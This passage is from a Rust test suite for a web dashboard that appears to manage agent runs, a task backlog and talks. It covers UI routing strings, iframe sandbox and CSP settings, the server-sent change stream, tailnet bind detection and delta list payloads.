18343        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
18344        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
18345        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
18346        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
18347
18348        // A refresh must never navigate: the loaders still check that their
18349        // subject is the one on screen, and crossing the breakpoint only
18350        // re-reads the hash.
18351        assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
18352        assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
18353        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
18354        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
18355
18356        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
18357        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
18358    }
18359
18360    #[test]
18361    fn panel_sandbox_carries_exactly_popups() {
18362        let needle = "sandbox: \"";
18363        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
18364        assert_eq!(
18365            matches.len(),
18366            1,
18367            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
18368        );
18369        let start = matches[0].0 + needle.len();
18370        let end = APP_JS[start..]
18371            .find('"')
18372            .expect("sandbox attribute value must be terminated by a closing quote");
18373        let val = &APP_JS[start..start + end];
18374        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
18375        let expected: std::collections::BTreeSet<&str> =
18376            ["allow-popups", "allow-popups-to-escape-sandbox"]
18377                .into_iter()
18378                .collect();
18379        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
18380        assert!(
18381            !tokens.contains("allow-scripts"),
18382            "allow-scripts must never be present in sandbox"
18383        );
18384        assert!(
18385            !tokens.contains("allow-same-origin"),
18386            "allow-same-origin must never be present in sandbox"
18387        );
18388    }
18389
18390    #[test]
18391    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
18392        // consumeQueueFocus() clears an active Backlog search before it can
18393        // scroll to the target card (the sections list is hidden while a
18394        // search is showing), by recursing back into renderQueue(). The
18395        // fixer's first cut nulled state.queueFocus before that recursive
18396        // call, so the second pass saw nothing to jump to and the jump was
18397        // silently dropped whenever a notification's link was opened with a
18398        // stale search still active. state.queueFocus must only be cleared
18399        // right before jumpToTask() actually runs.
18400        assert!(
18401            APP_JS.contains(
18402                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
18403            ),
18404            "the search-clearing branch must run before state.queueFocus is cleared, or the \
18405             recursive renderQueue() call has nothing left to jump to"
18406        );
18407        assert!(
18408            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
18409            "state.queueFocus must be cleared only once the jump has landed, so a card that \
18410             arrives later still gets it"
18411        );
18412        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
18413        assert!(APP_JS.contains("is not in the current Backlog."));
18414        assert!(APP_JS.contains("li.card[data-task-id=\""));
18415        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
18416        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
18417        assert!(APP_CSS.contains(".card-permalink"));
18418        assert!(APP_CSS.contains(".queue-focus-status"));
18419        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
18420    }
18421
18422    #[test]
18423    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
18424        // The task's own repro: only the link text inside .notice-meta was
18425        // clickable, so a tap on the message, the timestamp, or the card's
18426        // padding did nothing - on a phone that reads as "the card doesn't
18427        // work" even though the tiny link inside it did. Mark read / Dismiss
18428        // must keep working independently of this: `.closest("a, button")`
18429        // is what lets a tap that actually lands on those elements fall
18430        // through instead of being hijacked into a navigation.
18431        assert!(
18432            APP_JS.contains(
18433                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
18434            ),
18435            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
18436        );
18437    }
18438
18439    #[test]
18440    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
18441        assert!(
18442            APP_JS.contains("round.verified_head !== round.head"),
18443            "a round that verified an earlier commit must be visibly distinct from one that \
18444             verified the head reviewers are looking at now"
18445        );
18446        assert!(
18447            APP_JS.contains("round.verified_at"),
18448            "when a check ran must be on the wire, not just which commit"
18449        );
18450        assert!(
18451            APP_JS.contains("resource_blocked"),
18452            "a command magi never got to run (shared build cache contention) must not render \
18453             the same as a command that ran and failed"
18454        );
18455    }
18456
18457    #[test]
18458    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
18459        // Every KPI tile but Total runs and Completion names an exact
18460        // RunStatus and hands it to openRunsFiltered(), which is what wires
18461        // the click into state.runsFilter.status (matchesFilter's own
18462        // status check) rather than the coarser runsStateFilter chips. Each
18463        // status literal here must be one of the strings runSection() (and
18464        // isStale()) actually compare a run's own `status` field against -
18465        // a status this dashboard invented would filter to nothing.
18466        assert!(
18467            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
18468            "every KPI tile built through statusTile() must route its click through \
18469             openRunsFiltered, the single place that sets the Runs filter"
18470        );
18471        for (label, status) in [
18472            ("Merged", "merged"),
18473            ("Ready", "ready"),
18474            ("Blocked", "blocked"),
18475            ("Stalled", "stalled"),
18476        ] {
18477            let call = format!("statusTile(\"{label}\", t.{status}, ");
18478            assert!(
18479                APP_JS.contains(&call),
18480                "expected the {label} KPI tile built via {call}..."
18481            );
18482            assert!(
18483                APP_JS.contains(&format!("status === \"{status}\"")),
18484                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
18485                 compare a run against, not one invented only for the stats tile"
18486            );
18487        }
18488        assert!(
18489            APP_JS.contains("function openRunsFiltered(status)"),
18490            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
18491        );
18492        assert!(
18493            APP_JS.contains(
18494                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
18495            ),
18496            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
18497        );
18498        // applyRoute() only flips which view is visible for a plain `#runs`
18499        // hash - it does not itself redraw the list (see applyRoute's own
18500        // handling below) - so openRunsFiltered must call renderRuns()
18501        // itself, and must call applyRoute() too so the view flips even
18502        // when the hash string doesn't change (the operator may already be
18503        // on the Runs view when a tile is tapped, which fires no
18504        // hashchange event at all).
18505        assert!(
18506            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
18507            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
18508             hashchange event that may never fire"
18509        );
18510    }
18511
18512    #[test]
18513    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
18514        // A stats tile can leave state.runsFilter.status set to something
18515        // done-by-construction (e.g. "merged") - picking "Active" afterward
18516        // must drop it the same way an incompatible tree section is already
18517        // dropped, or the Runs list renders permanently empty with no way
18518        // for the operator to tell why.
18519        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
18520        assert!(
18521            APP_JS.contains(
18522                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
18523            ),
18524            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
18525             guard for an incompatible tree section"
18526        );
18527    }
18528
18529    #[test]
18530    fn every_stats_queue_tile_names_a_real_queue_section() {
18531        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
18532        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
18533        // (consumeQueueSectionFocus finds no matching <details> and drops
18534        // the focus) rather than fail loudly, so pin every key against the
18535        // section list it has to resolve against.
18536        assert!(
18537            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
18538            "every queue tile built through sectionTile() must route its click through \
18539             openQueueSectionFocus"
18540        );
18541        for key in ["upnext", "running", "done", "held", "blocked"] {
18542            assert!(
18543                APP_JS.contains(&format!("{{ key: \"{key}\",")),
18544                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
18545            );
18546        }
18547        // Queued and Failed intentionally both resolve to "upnext" - the
18548        // same section queueSection() itself files them under - rather than
18549        // getting a section each.
18550        for line in [
18551            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
18552            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
18553            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
18554            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
18555            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
18556            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
18557        ] {
18558            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
18559        }
18560    }
18561
18562    #[test]
18563    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
18564        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
18565        // above for the section-focus channel a stats queue tile drives:
18566        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
18567        // through the stale-search-clear recursion into renderQueue(), and
18568        // clear it only once revealQueueSection() is actually about to run -
18569        // the same trap that once silently dropped a task-focus jump.
18570        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
18571        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
18572        assert!(APP_JS.contains("function revealQueueSection(details)"));
18573        assert!(
18574            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
18575            "renderQueue() must consume both focus channels on every pass"
18576        );
18577        assert!(
18578            APP_JS.contains(
18579                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
18580            ),
18581            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
18582             the recursive renderQueue() call has nothing left to reveal"
18583        );
18584        assert!(
18585            APP_JS.contains(
18586                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
18587            ),
18588            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
18589        );
18590        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
18591        // task-focus form of the hash - a plain `#queue` navigation only
18592        // flips which view is visible. openQueueSectionFocus() must
18593        // therefore call renderQueue() itself, and applyRoute() too so the
18594        // view flips even when the hash doesn't change (the Backlog may
18595        // already be open when a tile is tapped, firing no hashchange
18596        // event at all).
18597        assert!(
18598            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
18599            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
18600             hashchange event that may never fire"
18601        );
18602    }
18603
18604    #[tokio::test]
18605    async fn the_change_stream_announces_the_current_revisions_on_connect() {
18606        let f = Fixture::start().await;
18607
18608        let mut socket = tokio::net::TcpStream::connect(f.addr)
18609            .await
18610            .expect("connect");
18611        socket
18612            .write_all(
18613                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
18614            )
18615            .await
18616            .expect("write request");
18617
18618        // Read until the first event arrives rather than to end of stream: the
18619        // stream is endless by design, which is the point of the route.
18620        let mut seen = String::new();
18621        let mut buf = [0u8; 1024];
18622        while !seen.contains("event: change") {
18623            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
18624                .await
18625                .expect("the stream must speak within five seconds")
18626                .expect("read");
18627            assert!(read > 0, "the server closed the change stream: {seen}");
18628            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
18629        }
18630
18631        assert!(
18632            seen.to_lowercase()
18633                .contains("content-type: text/event-stream"),
18634            "the browser only reconnects automatically for a real SSE stream: {seen}"
18635        );
18636        let data = seen
18637            .lines()
18638            .find_map(|l| l.strip_prefix("data:"))
18639            .expect("a data line");
18640        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
18641        assert!(
18642            payload["queue_rev"].is_u64()
18643                && payload["runs_rev"].is_u64()
18644                && payload["questions_rev"].is_u64()
18645                && payload["talks_rev"].is_u64()
18646                && payload["notifications_rev"].is_u64()
18647                && payload["loop_rev"].is_u64(),
18648            "the client needs one revision per store to know what to refetch, \
18649             and `talks_rev` is the only notification a standing talk gets - a \
18650             phone whose radio slept through a turn learns about it here, as \
18651             does one whose operator started the loop from another device: \
18652             {payload}"
18653        );
18654
18655        // The front end re-polls health on a timer and on wake, and takes the
18656        // revisions from that answer whenever the stream is not up. So health
18657        // has to carry every key the stream carries: a phone on a link that
18658        // will not hold an SSE connection is exactly the phone that must still
18659        // notice a question, and a missing key there is not a 500 but a UI
18660        // that quietly stops updating.
18661        let health = f.get("/api/health").await.json();
18662        for key in [
18663            "queue_rev",
18664            "runs_rev",
18665            "questions_rev",
18666            "talks_rev",
18667            "notifications_rev",
18668            "loop_rev",
18669        ] {
18670            assert!(
18671                health[key].is_u64(),
18672                "health is the change stream's fallback and is missing `{key}`: {health}"
18673            );
18674        }
18675    }
18676
18677    #[tokio::test]
18678    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
18679        let f = Fixture::start().await;
18680        let before = f.get("/api/health").await.json()["talks_rev"]
18681            .as_u64()
18682            .expect("talks_rev");
18683
18684        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
18685        std::thread::sleep(Duration::from_millis(10));
18686        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
18687        on_disk.turns.push(crate::talk::Turn {
18688            sender: None,
18689            breaks: Some(Vec::new()),
18690            messages: Vec::new(),
18691            posted_by: None,
18692            who: crate::talk::Who::Operator,
18693            body: "a new turn".to_owned(),
18694            at: Timestamp::now(),
18695            attachments: Vec::new(),
18696            usage: None,
18697        });
18698        f.talks().put(&mut on_disk).expect("record a turn");
18699
18700        let after = f.get("/api/health").await.json()["talks_rev"]
18701            .as_u64()
18702            .expect("talks_rev");
18703        assert_ne!(
18704            before, after,
18705            "a phone must be able to notice a talk's reply without polling every store"
18706        );
18707    }
18708
18709    #[test]
18710    fn bind_reads_back_from_the_spelling_the_cli_prints() {
18711        // The CLI shows the default in `--help` and parses whatever comes
18712        // back, so the two directions have to agree or `--bind auto` breaks
18713        // the moment someone copies the help text.
18714        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
18715            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
18716        }
18717        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
18718        assert!("everywhere".parse::<Bind>().is_err());
18719    }
18720
18721    #[test]
18722    fn an_explicit_bind_address_is_taken_verbatim() {
18723        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
18724
18725        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
18726
18727        assert_eq!(addr, asked);
18728        assert!(
18729            warning.is_none(),
18730            "an operator who named an address gets no lecture"
18731        );
18732    }
18733
18734    #[test]
18735    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
18736        let (addr, warning) = resolve_bind(&Bind::Auto);
18737
18738        // This has to hold on a CI runner with no `tailscale` and on a dev box
18739        // with one, so the invariant asserted is the one shared by both
18740        // outcomes: the address is either a real tailnet address offered
18741        // without comment, or loopback with an explanation. What must never
18742        // happen is a silent fallback - an operator told "listening on
18743        // 127.0.0.1" with no reason would go looking for a firewall.
18744        match addr {
18745            IpAddr::V4(ip) if is_tailnet(&ip) => {
18746                assert!(warning.is_none(), "a tailnet address needs no warning");
18747            }
18748            other => {
18749                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
18750                let warning = warning.expect("a fallback has to explain itself");
18751                assert!(
18752                    warning.contains("127.0.0.1") && warning.contains("local-only"),
18753                    "the warning says what happened and what it costs: {warning}"
18754                );
18755            }
18756        }
18757    }
18758
18759    #[test]
18760    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
18761        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
18762        // boundary cases are what stop us binding to some other tool's idea of
18763        // an address.
18764        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
18765        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
18766        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
18767        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
18768        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
18769    }
18770
18771    #[test]
18772    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
18773        let ids = vec![
18774            "20260902-140501-aaaa".to_owned(),
18775            "20260902-140502-aabb".to_owned(),
18776        ];
18777
18778        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
18779        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
18780        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
18781
18782        assert_eq!(missing.status, StatusCode::NOT_FOUND);
18783        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
18784        assert_eq!(short, "20260902-140502-aabb");
18785    }
18786    #[tokio::test]
18787    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
18788        // The prompt tells agents to reference attachments by bare filename.
18789        // A document served at `.../panel` resolves `shot.png` against its own
18790        // directory, i.e. `.../shot.png`, which is not the asset route - so a
18791        // panel written exactly as instructed showed broken images. Caught by
18792        // looking at a real one in a browser, not by reading the code.
18793        let fx = Fixture::start().await;
18794        let id = panel(
18795            &fx,
18796            "<img src=\"shot.png\">",
18797            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
18798        );
18799
18800        // The frame's own URL ends in a filename, so its siblings are reachable.
18801        let doc = fx
18802            .get(&format!("/api/questions/{id}/panel/index.html"))
18803            .await;
18804        assert_eq!(doc.status, 200, "{}", doc.body);
18805        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
18806
18807        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
18808        assert_eq!(sibling.status, 200, "{}", sibling.body);
18809        assert_eq!(sibling.header("content-type"), Some("image/png"));
18810        assert_eq!(
18811            sibling.header("content-security-policy"),
18812            Some(PANEL_CSP),
18813            "the sibling route must carry the same policy as the asset route"
18814        );
18815
18816        // The original spelling keeps working: HEAD on it is how the front end
18817        // decides whether to mount a frame at all.
18818        assert_eq!(
18819            fx.head(&format!("/api/questions/{id}/panel")).await.status,
18820            200
18821        );
18822    }
18823
18824    #[test]
18825    fn delta_stamps_cover_add_update_remove_and_noop() {
18826        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
18827        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
18828        let delta = diff_stamps(&before, &after, 42);
18829        assert_eq!(delta.base, 42);
18830        assert_eq!(delta.changed, ["b", "c"]);
18831        assert_eq!(delta.removed, ["a"]);
18832        let same = diff_stamps(&after, &after, 43);
18833        assert!(same.changed.is_empty() && same.removed.is_empty());
18834        assert_ne!(stamps_revision(&before), stamps_revision(&after));
18835        let nanos: Stamps = [("b".into(), (2, 20))].into();
18836        let same_ms: Stamps = [("b".into(), (3, 20))].into();
18837        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
18838        assert_eq!(stamps_revision(&Stamps::new()), 0);
18839    }
18840
18841    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
18842        std::fs::create_dir_all(home.join("runs")).unwrap();
18843        Arc::new(Ui::new(
18844            Queue::at(home.join("queue")),
18845            Questions::at(home.join("questions")),
18846            Talks::at(home.join("talks")),
18847            home.join("runs"),
18848            home.to_owned(),
18849            PathBuf::from("/repo/magi"),
18850        ))
18851    }
18852
18853    #[tokio::test]
18854    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
18855        let home = TempDir::new().unwrap();
18856        let ui = delta_test_ui(home.path());
18857        let mut task = Task::new(
18858            "stream task".into(),
18859            "text".into(),
18860            PathBuf::from("/repo"),
18861            Source::Human,
18862        );
18863        ui.queue.put(&mut task).unwrap();
18864        let response = events(State(ui.clone())).await.into_response();
18865        let mut stream = response.into_body().into_data_stream();
18866        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
18867            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
18868                .await
18869                .unwrap()
18870                .unwrap()
18871                .unwrap();
18872            let text = String::from_utf8(chunk.to_vec()).unwrap();
18873            let data = text
18874                .lines()
18875                .find_map(|line| {
18876                    line.strip_prefix("data: ")
18877                        .or_else(|| line.strip_prefix("data:"))
18878                })
18879                .unwrap();
18880            serde_json::from_str(data).unwrap()
18881        }
18882        let initial = change(&mut stream).await;
18883        assert!(initial.get("queue_delta").is_none());
18884        task.instruction.push_str(" changed");
18885        ui.queue.put(&mut task).unwrap();
18886        let updated = change(&mut stream).await;
18887        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
18888        assert_eq!(
18889            updated["queue_delta"]["changed"],
18890            serde_json::json!([task.id])
18891        );
18892        assert_eq!(
18893            updated["queue_rev"].as_u64(),
18894            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
18895        );
18896        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
18897        let removed = change(&mut stream).await;
18898        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
18899        assert_eq!(
18900            removed["queue_delta"]["removed"],
18901            serde_json::json!([task.id])
18902        );
18903    }
18904
18905    #[tokio::test]
18906    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
18907        let home = TempDir::new().unwrap();
18908        let ui = delta_test_ui(home.path());
18909        let queue = ui.queue.clone();
18910        let query = |ids: Option<&str>| {
18911            Query(ListQuery {
18912                limit: Some(2),
18913                ids: ids.map(str::to_owned),
18914            })
18915        };
18916        let mut root = Task::new(
18917            "root".into(),
18918            "instruction".into(),
18919            PathBuf::from("/repo"),
18920            Source::Human,
18921        );
18922        queue.put(&mut root).unwrap();
18923        let mut blocked = Task::new(
18924            "blocked".into(),
18925            "instruction".into(),
18926            PathBuf::from("/repo"),
18927            Source::Human,
18928        );
18929        blocked.block(vec![root.id.clone()], None);
18930        queue.put(&mut blocked).unwrap();
18931        let whole =
18932            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
18933                .unwrap();
18934        let subset = serde_json::to_value(
18935            queue_list(State(ui.clone()), query(Some(&root.id)))
18936                .await
18937                .unwrap()
18938                .0,
18939        )
18940        .unwrap();
18941        assert_eq!(whole, subset, "requested root plus its blocked dependent");
18942        let blockers = serde_json::to_value(
18943            queue_list(State(ui.clone()), query(Some("")))
18944                .await
18945                .unwrap()
18946                .0,
18947        )
18948        .unwrap();
18949        assert_eq!(blockers.as_array().unwrap().len(), 1);
18950        assert_eq!(blockers[0]["id"], blocked.id);
18951        assert_eq!(
18952            blockers[0]["waits_on"],
18953            whole
18954                .as_array()
18955                .unwrap()
18956                .iter()
18957                .find(|row| row["id"] == blocked.id)
18958                .unwrap()["waits_on"]
18959        );
18960
18961        for id in [
18962            "20260902-140501-aaaa",
18963            "20260902-140502-bbbb",
18964            "20260902-140503-cccc",
18965        ] {
18966            write_run(&ui.runs, id, RunStatus::Merged);
18967        }
18968        let old = serde_json::to_value(
18969            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
18970                .await
18971                .unwrap()
18972                .0,
18973        )
18974        .unwrap();
18975        assert!(
18976            old.as_array().unwrap().is_empty(),
18977            "older updates must not enter the window"
18978        );
18979        let newest = serde_json::to_value(
18980            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
18981                .await
18982                .unwrap()
18983                .0,
18984        )
18985        .unwrap();
18986        assert_eq!(newest.as_array().unwrap().len(), 1);
18987        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
18988
18989        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
18990        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
18991        let talks = serde_json::to_value(
18992            talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
18993                .await
18994                .unwrap()
18995                .0,
18996        )
18997        .unwrap();
18998        assert_eq!(talks.as_array().unwrap().len(), 1);
18999        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
19000        assert_eq!(
19001            serde_json::to_value(
19002                talks_list(State(ui.clone()), query(Some("")))
19003                    .await
19004                    .unwrap()
19005                    .0
19006            )
19007            .unwrap(),
19008            serde_json::json!([])
19009        );
19010    }
19011
19012    #[tokio::test]
19013    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
19014    async fn delta_payload_benchmark() {
19015        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
19016        let ui = delta_test_ui(&home);
19017        let query = |ids: Option<String>| {
19018            Query(ListQuery {
19019                limit: Some(50),
19020                ids,
19021            })
19022        };
19023        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
19024        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
19025        let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
19026        let queue_id = queue
19027            .iter()
19028            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
19029            .unwrap_or(&queue[0])
19030            .task
19031            .id
19032            .clone();
19033        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
19034            .await
19035            .unwrap()
19036            .0;
19037        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
19038            .await
19039            .unwrap()
19040            .0;
19041        let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
19042            .await
19043            .unwrap()
19044            .0;
19045        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
19046        eprintln!(
19047            "DELTA_PAYLOAD {}",
19048            serde_json::json!({
19049                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
19050                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
19051                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
19052                "counts": [queue.len(), runs.len(), talks.len()],
19053                "blocked": queue_delta.len() - 1,
19054            })
19055        );
19056    }
19057
19058    #[test]
19059    fn runs_revision_moves_when_deleting_an_older_run() {
19060        let temp = TempDir::new().expect("tempdir");
19061        let runs = temp.path().join("runs");
19062        std::fs::create_dir_all(&runs).expect("create runs dir");
19063
19064        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
19065
19066        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
19067        std::thread::sleep(Duration::from_millis(10));
19068        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
19069
19070        let rev_before = runs_revision(&runs);
19071        assert!(rev_before > 0);
19072
19073        let old_dir = runs.join("20260901-100000-old1");
19074        std::fs::remove_dir_all(&old_dir).expect("remove old run");
19075
19076        let rev_after = runs_revision(&runs);
19077        assert_ne!(
19078            rev_before, rev_after,
19079            "deleting an older run must change the revision so other clients see the deletion"
19080        );
19081    }
19082
19083    /// A run's own `run.json` on an explicit `runs` root, bypassing the
19084    /// process-global home entirely — `RunState::save` writes through
19085    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
19086    /// (see `tests::home_lock` in the integration suite for why).
19087    fn write_state(runs: &FsPath, state: &RunState) {
19088        let dir = runs.join(&state.id);
19089        std::fs::create_dir_all(&dir).expect("run dir");
19090        std::fs::write(
19091            dir.join("run.json"),
19092            serde_json::to_string_pretty(state).expect("serialize run"),
19093        )
19094        .expect("write run.json");
19095    }
19096
19097    /// A seat starting or finishing is a write to `run.json` like any other,
19098    /// so it moves the same revision the change stream already watches —
19099    /// nothing new for `/api/events` to learn, but the property this feature
19100    /// depends on to reach the phone without a poll.
19101    #[test]
19102    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
19103        let temp = TempDir::new().expect("tempdir");
19104        let runs = temp.path().join("runs");
19105        std::fs::create_dir_all(&runs).expect("create runs dir");
19106        let mut state = RunState::new(
19107            PathBuf::from("/repo/magi"),
19108            "main".to_owned(),
19109            "0123456789abcdef".to_owned(),
19110            "task".to_owned(),
19111            Config::default(),
19112        );
19113        state.id = "20260902-100000-c0de".to_owned();
19114        write_state(&runs, &state);
19115
19116        let rev_idle = runs_revision(&runs);
19117        std::thread::sleep(Duration::from_millis(10));
19118        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
19119        write_state(&runs, &state);
19120        let rev_started = runs_revision(&runs);
19121        assert_ne!(
19122            rev_idle, rev_started,
19123            "a seat starting must move the revision"
19124        );
19125
19126        std::thread::sleep(Duration::from_millis(10));
19127        state.seat_finished("judge-1");
19128        write_state(&runs, &state);
19129        let rev_finished = runs_revision(&runs);
19130        assert_ne!(
19131            rev_started, rev_finished,
19132            "and clearing it again must move the revision a second time"
19133        );
19134    }
19135
19136    #[tokio::test]
19137    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
19138        // `TaskView` flattens `Task`, so this is really asserting that
19139        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
19140        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
19141        // never touched web.rs, so nothing here caught it if it had.
19142        let fx = Fixture::start().await;
19143        let q = fx.queue();
19144
19145        let mut t = Task::new(
19146            "Task".to_owned(),
19147            "Instruction".to_owned(),
19148            PathBuf::from("/repo"),
19149            Source::Human,
19150        );
19151        t.block(
19152            vec!["20260101-000000-dead".to_owned()],
